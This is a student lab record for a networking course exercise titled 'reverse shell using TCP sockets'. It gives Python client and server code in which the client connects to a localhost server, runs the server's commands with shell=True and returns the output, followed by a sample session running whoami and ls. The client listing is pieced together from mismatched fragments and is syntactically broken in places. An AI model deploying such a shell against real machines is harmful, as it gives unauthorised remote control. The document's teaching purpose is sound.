

EXPT: 9 DEVELOP A PROGRAM TO CREATE REVERSE SHELL USING TCP SOCKETS

Aim :

Demonstrate basic TCP communication and remote command execution between two Python programs.

Algorithm :

1. Server: listen on a port, accept a client, read commands from the user, send commands to client, print responses.
2. Client: connect to server, receive commands, if cd then change directory, otherwise run the command, send back output and current directory.
3. On quit close the connection.

Code :

Client :

```

import socket
import subprocess
import os
host = '127.0.0.1'
port = 9999
def connect_to_server():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((host, port))
    while True:
        try:
            command = client.recv(1024).decode()
            if command.lower() == 'quit':
                break
            elif command.startswith('cd '):
                try:
                    os.chdir(command[3:].strip())
                except:
                    client.send("Error: Directory not found")
            else:
                result = subprocess.check_output(command, shell=True)
                client.send(result)
        except:
            client.close()
            break

```

241901059

```
        output = f"Changed directory to {os.getcwd()}"  
    except Exception as e:  
        output = str(e)  
  
    else:  
        process = subprocess.Popen(command, shell=True,  
                                   stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)  
        output = process.stdout.read() + process.stderr.read()  
        output = output.decode()  
        current_dir = os.getcwd() + "> "  
        client.send((output + "\n" + current_dir).encode())  
    except Exception as e:  
        client.send(str(e).encode())  
        break  
    client.close()  
  
if __name__ == "__main__":  
    connect_to_server()
```

Server :

```
import socket  
import threading  
host = '127.0.0.1'  
port = 9999  
  
def create_server_socket():  
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    server.bind((host, port))  
    server.listen(5)  
    print(f"[+] Listening on {host}:{port}")  
    return server  
  
def handle_client(conn, addr):  
    print(f"[+] Connection established with {addr[0]}:{addr[1]}")  
    while True:  
        try:
```

```
command = input(f"\'{addr[0]}@shell> ")  
if command.lower() == 'quit':  
    conn.send(command.encode())  
    conn.close()  
    break  
if command.strip():  
    conn.send(command.encode())  
    response = conn.recv(4096).decode()  
    print(response)  
except Exception as e:  
    print(f"[!] Error: {e}")  
    conn.close()  
    break  
  
def start_server():  
    server = create_server_socket()  
    while True:  
        conn, addr = server.accept()  
        client_thread = threading.Thread(target=handle_client, args=(conn,  
addr))  
        client_thread.start()  
if __name__ == "__main__":  
    start_server()
```

241901059

Output :

Server :

```
~/CN/rev-shell
> python server.py
[+] Listening on 127.0.0.1:9999
[+] Connection established with 127.0.0.1:38674
127.0.0.1@shell> whoami
s3lzur3

/home/s3lzur3/CN/rev-shell>
127.0.0.1@shell> ls -lah
total 16K
drwxr-xr-x. 2 s3lzur3 s3lzur3 4.0K Nov 18 11:05 .
drwxr-xr-x. 9 s3lzur3 s3lzur3 4.0K Nov 18 11:03 ..
-rw-r--r--. 1 s3lzur3 s3lzur3 1.3K Nov 18 11:04 client.py
-rw-r--r--. 1 s3lzur3 s3lzur3 1.2K Nov 18 11:05 server.py

/home/s3lzur3/CN/rev-shell>
127.0.0.1@shell> █
```

Client :

```
~/CN/rev-shell
> python client.py
█
```

Result :

Server shows a “connection established” message when client connects. Commands typed at the server prompt run on the client and their output appears on the server. cd changes the client’s directory and the new path is returned. Quit ends the session; errors close the connection.
